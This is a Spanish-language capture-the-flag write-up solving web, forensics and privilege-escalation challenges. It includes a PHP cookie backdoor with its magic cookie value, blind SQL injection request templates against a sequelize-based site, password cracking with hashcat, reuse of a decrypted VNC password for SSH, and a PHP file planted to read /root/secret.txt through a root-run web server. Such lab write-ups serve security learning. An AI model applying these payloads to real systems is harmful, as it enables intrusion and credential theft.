QUALS
=====
=====

La vida es un recon-chineo
==========================

En un comentario en la página nos dirige a https://github.com/XORitANDitNORit/puertrasera
Ahí podemos ver la puerta trasera que se ha puesto en la web, y vemos que su lógica es:
include('config.php'); if(gzinflate(base64_decode($_COOKIE['secreto'])) === 'megustaprogramar') {  $_SESSION['admin'] = 1;  }

Por tanto vemos con este código:
print(base64_encode(gzdeflate("megustaprogramar")));
que el valor de la cookie secreto debe ser:
y01NLy0uSSwoyk8vSsxNLAIA

incluyendo la cookie en una petición a la página obtenemos la flag

flag{php_b4ckp00r_0r_b4ckd00r1705?}



El clon de imdb
===============

La página realiza búsquedas en una base de datos con un formato bastante extraño en la url.  Jugando con los parámetros que se ven, obtenemos algún error que nos dirige a sequelize.
Buscando un poco encontramos que han existido algunas vulnerabilidades de sql injection:
https://snyk.io/vuln/npm:sequelize:20160106

Tras pelear un poco con el tema conseguimos una inyección ciega con peticiones de este estilo:
"http://54.36.134.37:56175/search?limit=CASE WHEN (select substr(sql,%d,1)='%s' from sqlite_master LIMIT 1 OFFSET %d) THEN 1 ELSE 0 END"

Sacamos la estructura de la tabla y a partir de ahí la password del usuario admin:
"http://54.36.134.37:56175/search?limit=CASE WHEN (select substr(pass,%d,1)='%s' from users LIMIT 1 OFFSET %d) THEN 1 ELSE 0 END"

La password está hasheada:
9d88f60b77834542886cf1efcc4f8e0413fb2f2a846865485d1a69a9c452db11

La crackeamos con hashcat pasándole el diccionario de rockyou, y la contraseña es: BCTM4455BCTM4455

Con la contraseña nos logueamos en la página y nos da la flag:
flag{SQL_1nj3ct10n_1n_0RM_happens!}


Frekuencia pirata
=================
El nombre del reto y el del fichero (muxed) ya hacen pensar en algún fichero multimedia, así que directamente lo probamos en el VLC y vemos que efectivamente es un vídeo con audio.  Revisando las propiedades del codec vemos que hay una pista de teletexto que nos llama la atención.

Tras tratar de extraerla con múltiples herramientas, lo conseguimos con DVB Inspector, obteniendo una pantalla con una matriz cuadrada de equis.

Tras darle muchas vueltas, resulta ser un Data Array que leemos con Logo QR Barcode Scanner obteniendo la flag:
flag{OldStyleHacking}

Para pintarlo, lo hice en https://copy.sh/life/ adaptando la matriz al formato aceptado por dicha página.


FINAL
=====
=====


Hadir - Acceso básico
=====================
Un nmap nos muestra que el puerto 80 está abierto.  Pasando el dirb encontramos el path /1/ con directory listing donde podemos ver que hay un backdoor instalado con la clave por defecto.  Mediante dicho backdoor podemos obtener el fichero /home/alice/secret.txt con la flag:
well done dRA6cOyOWhjJ9Fony9nr6V0TCSwCid5p !

También desde el backdoor podemos descargar el reto de forense e incluso lanzar la solución para el acceso admin, pero resulta más cómodo obtener la clave del VNC del fichero /home/alice/.vnc/passwd y descifrarla con la herramienta de Luigi Auriemma (Pa$$w0rd), pues resulta ser también la clave de alice para acceder vía ssh.

Hadir - Forense
===============
Nos dan el código python de un servidor para el que tenemos que generar un cliente, con algunas palabras del protocolo eliminadas, y una captura de red de la que podemos recuperar dichas palabras, pero en las que el cliente no ha completado todas las operaciones con éxito.  Básicamente el servidor nos va enviando operandos y un código de operación y el cliente debe ir resolviendo dichas operaciones.

Este es el cliente que resuelve la prueba y el resultado de la comunicación en un comentario:


#!/usr/bin/python

import struct
import sys
import random
import time


import socket
s=socket.socket()
s.connect(('54.36.134.37', 2323))

#Saludo
print s.recv(1024) #HolaSoyBotMajo
s.send('OKOK')
print s.recv(1024) #Correcto
s.send('BotMajoTeInvitaAjugarrrr')

for i in range(1, 50):
  churro=s.recv(2)
  (control,operacion)=struct.unpack("bb",churro)
  churro=s.recv(4)
  a=struct.unpack(">I",churro)[0]
  churro=s.recv(4)
  b=struct.unpack("<I",churro)[0]
  churro=s.recv(4)
  rondax=struct.unpack("I",churro)[0]
  print(control,operacion,a,b,rondax)
  #rondacalculos(i, 65534):
  if operacion==1:
    res=a+b
  elif operacion==0x29:
    res=a-b
  else:
    res=0
  print res
  s.send(struct.pack("I",res))

print s.recv(1024)


"""
root@kali:~/sharedvm# python client_redacted.py 
HolaSoyBotMajo
Correcto
(14, 1, 54542, 9531, 1)
64073
(14, 41, 43484, 21443, 2)
22041
(14, 41, 8625, 1100, 3)
7525
(14, 1, 275, 15033, 4)
15308
(14, 41, 30658, 24593, 5)
6065
(14, 41, 55113, 32311, 6)
22802
(14, 1, 35597, 14633, 7)
50230
(14, 1, 47360, 13768, 8)
61128
(14, 41, 17604, 12395, 9)
5209
(14, 1, 48771, 5248, 10)
54019
(14, 1, 61914, 169, 11)
62083
(14, 41, 11185, 9616, 12)
1569
(14, 41, 51944, 15294, 13)
36650
(14, 41, 46506, 36981, 14)
9525
(14, 1, 27299, 26654, 15)
53953
(14, 1, 50981, 3701, 16)
54682
(14, 41, 7652, 4935, 17)
2717
(14, 1, 41641, 13597, 18)
55238
(14, 1, 50290, 14106, 19)
64396
(14, 41, 42061, 24546, 20)
17515
(14, 41, 37254, 19810, 21)
17444
(14, 41, 5338, 3014, 22)
2324
(14, 1, 22624, 13477, 23)
36101
(14, 41, 23886, 3387, 24)
20499
(14, 1, 36474, 20985, 25)
57459
(14, 41, 56915, 12589, 26)
44326
(14, 1, 45785, 9323, 27)
55108
(14, 41, 19220, 13947, 28)
5273
(14, 1, 62185, 1331, 29)
63516
(14, 41, 22459, 14506, 30)
7953
(14, 1, 32061, 540, 31)
32601
(14, 41, 17794, 2475, 32)
15319
(14, 41, 15648, 4899, 33)
10749
(14, 1, 49376, 11683, 34)
61059
(14, 1, 21759, 14899, 35)
36658
(14, 41, 45400, 13681, 36)
31719
(14, 41, 25807, 16955, 37)
8852
(14, 41, 58989, 23293, 38)
35696
(14, 1, 170, 45888, 39)
46058
(14, 41, 61525, 20203, 40)
41322
(14, 41, 37191, 3298, 41)
33893
(14, 41, 2755, 926, 42)
1829
(14, 1, 9106, 9248, 43)
18354
(14, 1, 53482, 10931, 44)
64413
(14, 41, 31605, 7960, 45)
23645
(14, 41, 14791, 10424, 46)
4367
(14, 1, 7007, 32849, 47)
39856
(14, 1, 63133, 185, 48)
63318
(14, 1, 8713, 20997, 49)
29710
Ganador!!!!! flag{ihave_p0w3r_m4th$}
root@kali:~/sharedvm# 

"""


Hadir - Acceso Admin
=====================
Analizando la máquina se observa que hay un script programado para ejecutarse diariamente como root.  El script puede ser modificado por cualquier usuario, pero no es necesario hacerlo, porque en la ejecución anterior ha dejado lanzado un servidor web que ejecuta PHP como root en el puerto 8000.

Tras probar un poco vemos que el document root de dicho servidor es /tmp, así que creamos allí un fichero con extensión .php con este contenido:
<?php echo file_get_contents('/root/secret.txt'); ?>

Tras crearlo sólo hay que pedirlo a través del servicio web situado en localhost:8000 y obtener la flag:
well Done!! 7b0f81bdd2b24ba32cb27f6c16e6b900


